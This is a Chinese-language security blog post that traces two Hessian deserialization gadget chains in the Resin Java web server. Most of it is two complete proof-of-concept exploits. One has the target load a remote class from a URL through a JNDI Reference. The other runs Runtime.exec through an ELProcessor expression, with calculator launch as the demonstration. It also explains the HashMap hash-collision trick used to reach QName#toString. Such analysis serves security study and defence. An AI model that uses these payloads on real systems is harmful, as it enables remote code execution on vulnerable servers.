Resin是什么❓
作为一款高性能的java web服务器,他的角色类似于Apache Tomcat或jetty
为什么反序列化总提到Resin呢?因为其引入了一套独特的数据传输协议,Resin服务器默认深度集成了Hessian协议,Hessian是一种二进制序列化协议
我们通常指的是:我们利用Resin对Hessian协议的处理机制,发送恶意的Hessian序列化数据,当Resin接收并解析数据时,会触发恶意代码执行
链子有多条,我们来一条条分析
QName#toString利用链
jdk 8u65
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>Resin</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>Resin Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.64</version>
</dependency>
</dependencies>
<build>
<finalName>Resin</finalName>
</build>
</project>
看到QName#toString方法
public String toString()
{
String name = null;
for (int i = 0; i < size(); i++) {
String str = (String) get(i);
if (name != null) {
try {
name = _context.composeName(str, name);
} catch (NamingException e) {
name = name + "/" + str;
}
}
······
name我们可以利用构造参数传入,然后发现调用了composeName转过去发现是Context接口的,然后在ContinuationContext调用了此接口
public String composeName(String name, String prefix)
throws NamingException {
Context ctx = getTargetContext();
return ctx.composeName(name, prefix);
}
跟进getTargetContext()
protected Context getTargetContext() throws NamingException {
if (contCtx == null) {
if (cpe.getResolvedObj() == null)
throw (NamingException)cpe.fillInStackTrace();
contCtx = NamingManager.getContext(cpe.getResolvedObj(),
cpe.getAltName(),
cpe.getAltNameCtx(),
env);
if (contCtx == null)
throw (NamingException)cpe.fillInStackTrace();
}
return contCtx;
}
这里的cpe是从ContinuationContext类的构造方法里的CannotProceedException类的对象,可以通过getResolvedObj将恶意类obj传进去,我们可以用setResolvedObj方法将我们的恶意对象写入
protected ContinuationContext(CannotProceedException cpe,
Hashtable<?,?> env) {
this.cpe = cpe;
this.env = env;
}
public void setResolvedObj(Object obj) {
resolvedObj = obj;
}
回过头来跟进getContext()
static Context getContext(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment) throws NamingException {
Object answer;
if (obj instanceof Context) {
// %%% Ignore environment for now. OK since method not public.
return (Context)obj;
}
try {
answer = getObjectInstance(obj, name, nameCtx, environment);
} catch (NamingException e) {
throw e;
} catch (Exception e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
return (answer instanceof Context)
? (Context)answer
: null;
}
截止跟进getObjectInstance

跟进过去
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
JNDI引用解析,简单来说:“JNDI 引用解析” 就是把一个描述性的 Reference 对象,转换成一个真实的 Java 实例的过程。而这个过程允许从远程 URL 下载代码
通过URLClassLoader远程加载类
链子1
Hessian2Input#readObject()->
HashMap#putVal()->
XString#equals()->
QName#toString()->
ContinuationContext#composeName()->
URLClassLoader#newInstance()
熟悉ROME链的都知道该怎么写了,最后是通过Hession的依赖的反序列化进行RCE的,POC:
package resin;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class Resion_poc1 {
public static void main(String[] args) throws Exception {
Reference ref1 = new Reference("resin.EXP","resin.EXP","http://127.0.0.1:8000/");
Class<?> cls = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = cls.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
//构造好cpe,接下来我们就需要想办法去触发到QName
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(ref1);
Hashtable<String, Object> hashtable = new Hashtable<>();
Context context = (Context) constructor.newInstance(cpe,hashtable);
QName qname = new QName(context,"aaa","bbb");
String unhash = unhash(qname.hashCode());
XString xstring = new XString(unhash);
HashMap hashmap1 = new HashMap();
HashMap hashmap2 = new HashMap();
hashmap1.put("ss",qname);
hashmap1.put("zz",xstring);
hashmap2.put("zz",qname);
hashmap2.put("ss",xstring);
HashMap map = makeMap(hashmap1,hashmap2);
byte[] payload = Hessian2_serialize(map);
Hessian2_unserialize(payload);
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
setFieldValue(map, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(map, "table", tbl);
return map;
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if (target < 0) {
//Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if (target == Integer.MIN_VALUE)
return answer.toString();
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}
具体分析
QName qname = new QName(context,"aaa","bbb");
String unhash = unhash(qname.hashCode()); // unhash的目的是为了绕过hashmap的hashcode判断,进入equals
XString xString = new XString(unhash);
通过 unhash / unhash0 构造一个字符串,使它的 hashCode() 和 qname.hashCode() 一样, 再用这个字符串创建一个 XString,让 XString 和 QName 的 hash 一样, 这样在 HashMap 里就能绕过 hash 不等直接过滤的那一层检查,强行让它们进入同一个 “桶”,最终触发 equals() 比较
那么什么要求hash一样呢,在 HashMap 里大致流程是:
先根据 hashCode 算位置(index = hash & (table.length - 1)),同一个桶里再通过 equals() 比较元素是否相等
- hash 不一样 → 连同一个桶都进不去,
equals()根本不会被调用 - hash 一样 → 才有机会在同一个桶里,一路走到
equals()比较
这里要注意hashmap传入的顺序,顺序是关键,原因是因为Resin反序列化就是利用Hessian在反序列化是会触发HashMap的put方法
这里比较有意思的就是,他这里触发的是AbstartMap#hashCode()

这就是为什么我们要让那俩hash相同的原因,因为他这个这里采取的在 HashMap 中,每一个键值对(Entry/Node)的 hashCode 计算公式是:
H(Entry) = H(Key) ^ H(Value),然后才能触发到equals嘛

这里就很明显了,最后变成了
XString.equals(QName)->QName.toString

ResouceRef+ELProccessor RCE 利用链
poc
package resin;
import org.apache.naming.ResourceRef;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.StringRefAddr;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class rome {
public static void main(String[] args) throws Exception {
//Reference refObj = new Reference("Exploit","Exploit","http://localhost:8000/");
String x = "java.lang.Runtime.getRuntime().exec(\\\"open -a Calculator\\\")";
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
Class<?> clazz = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
Hashtable<?, ?> hashtable = new Hashtable<>();
cpe.setResolvedObj(resourceRef);
Context continuationContext = (Context) constructor.newInstance(cpe, hashtable); //通过构造方法获得一个continuationContext对象
QName qname = new QName(continuationContext,"aaa","bbb");
String unhash = unhash(qname.hashCode());
Object obj = HashMap_to_anyequals_to_anytoString(new XString(unhash),qname);
byte[] payload = Hessian2_serialize(obj);
Hessian2_unserialize(payload);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static Object HashMap_to_anyequals_to_anytoString(Object anyobj_equals,Object anyobj_toString) throws Exception{
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("yy", anyobj_toString);
hashMap1.put("zZ", anyobj_equals);
hashMap2.put("yy", anyobj_equals);
hashMap2.put("zZ", anyobj_toString);
HashMap map = makeMap(hashMap1, hashMap2);
return map;
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
setValue(map, "size", 2); //设置size为2,就代表着有两组
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(map, "table", tbl);
return map;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}

以后还是写完就发吧,老是在mac和win直接切换,文章都不好按顺序传
等学校审核评估过去,有时间整理一下博客的标签🏷好好打理一下,太久不顾了,哎哎😭